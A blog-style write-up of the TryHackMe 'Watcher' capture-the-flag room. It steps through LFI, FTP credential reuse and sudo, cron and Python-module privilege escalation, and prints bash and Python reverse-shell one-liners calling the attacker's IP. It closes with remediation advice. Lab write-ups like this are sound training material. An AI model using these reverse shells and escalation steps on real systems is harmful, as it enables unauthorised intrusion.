Watcher Write-up


Watcher is a room on TryHackMe. It is a boot2root CTF. It has medium difficulty. In this room you have to collect 7 flags.


First of all we start with basic enumeration. We navigate to the web server on port 80. This web server contains a “robots.txt” file with two entries.


This will give you your first flag. We cannot read the “secret_file_do_not_read.txt” file. But the “post” parameter of the PHP script at “” is prone to a LFI. We can read the /etc/passwd file with that vulnerability.

LFI vulnerability

Next we can read the secret file with that LFI vulnerability by calling the URL “”. The file contains FTP credentials. So now we know that FTP is also running on the target. We can assume that the FTP server is running on the standard port 21.

Reading the secret note

After connecting to the FTP server with ftp we see a directory that is called “files” and a second flag.

FTP server contents

Inside the “files” directory we have write access.

Initial Access

We can now upload a reverse shell into that directory. I have used the reverse shell from Pentestmonkey.

Uploading a reverse shell

Next start a netcat listener with the command nc -lvnp 1234. From the previous note, we know that the FTP directory is located at /home/ftpuser/ftp/. So if we call the URL “”, the web server will run the code and we will get a reverse shell.

Getting a reverse shell

Now we are on the machine as www-data user. As www-data user we can read the third flag, which is located at /var/www/html/more_secrets_a9f10a/flag_3.txt.

Reading the third flag

Privilege Escalation

During enumeration we can see that we can run all commands as toby user if we use sudo.

Output of sudo -l

Now we can elevate our privileges to toby by running the command sudo -u toby /bin/bash. After enumerating more, we can spot an interesting cronjob. The script at home/toby/jobs/ is run as mat user every minute.


Luckily we have write privileges to that file. This means we can place a reverse shell into that file and elevate our privileges to mat. Write the following two lines into that file. You can use the echo command for this.

bash -i >& /dev/tcp/YOUR_MACHINE_IP/8080 0>&1

Next start a Netcat listener on your machine and wait until the mat user connects to you.

Elevating the privileges to mat

Inside mat’s home folder we can read the fifth flag and find this note.

Reading the note

As you can see we can run the script at /home/mat/scripts/ as will user. That Python script calls a function from another script called

We have write privileges for the file.

So we can craft the following malicious Python script on our attacker machine and replace the original by transferring it to the victim.

def get_command(num):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_MACHINE_IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"])

if(num == "1"):
return "ls -lah"
if(num == "2"):
return "id"
if(num == "3"):
return "cat /etc/passwd"

In the next step we will need to run another Netcat listener on port 1234 on our attacker machine. Finally execute the malicious script by running sudo -u will /usr/bin/python3 /home/mat/scripts/ After that you should get a shell as will user. During enumeration as the will user we can find an interesting file inside /opt/backup. It contains a file called “key.b64”, which has base64 encoded data.

Base64 data

We can copy that file to our machine and decode it. You can use the command echo key.b64 | base64 -d > sshkey. This is a SSH key, which we can use to log in as root. First change the permissions with chmod 600 sshkey. After that log in as root with the command ssh -i sshkey root@

Log in as root and read the final flag


First of all a filter should be utilized to fix the LFI vulnerability. Furthermore no secret notes should be accessible through a public web server. Also privileges for files are set wrongly. These privileges should be fixed. It is also recommended that backups should be encrypted.




Passionate about Cyber Security. I am publishing CTF writeups and Cybersecurity content!

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Introduction to mutation testing

Your Path into Cybersecurity

Killing PHP took a year and a half.

Pyspark Installation Guide

Blockchain Developer

30 Things Every Unity Developer Should Know

Goroutines and Channels Aren’t Free

Install ROS, without pain!

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store


Passionate about Cyber Security. I am publishing CTF writeups and Cybersecurity content!

More from Medium

CTF Walkthrough | TryHackMe | Defense Space

THM — Lockdown Write-Up

Mustacchio — TryHackMe CTF Walkthrough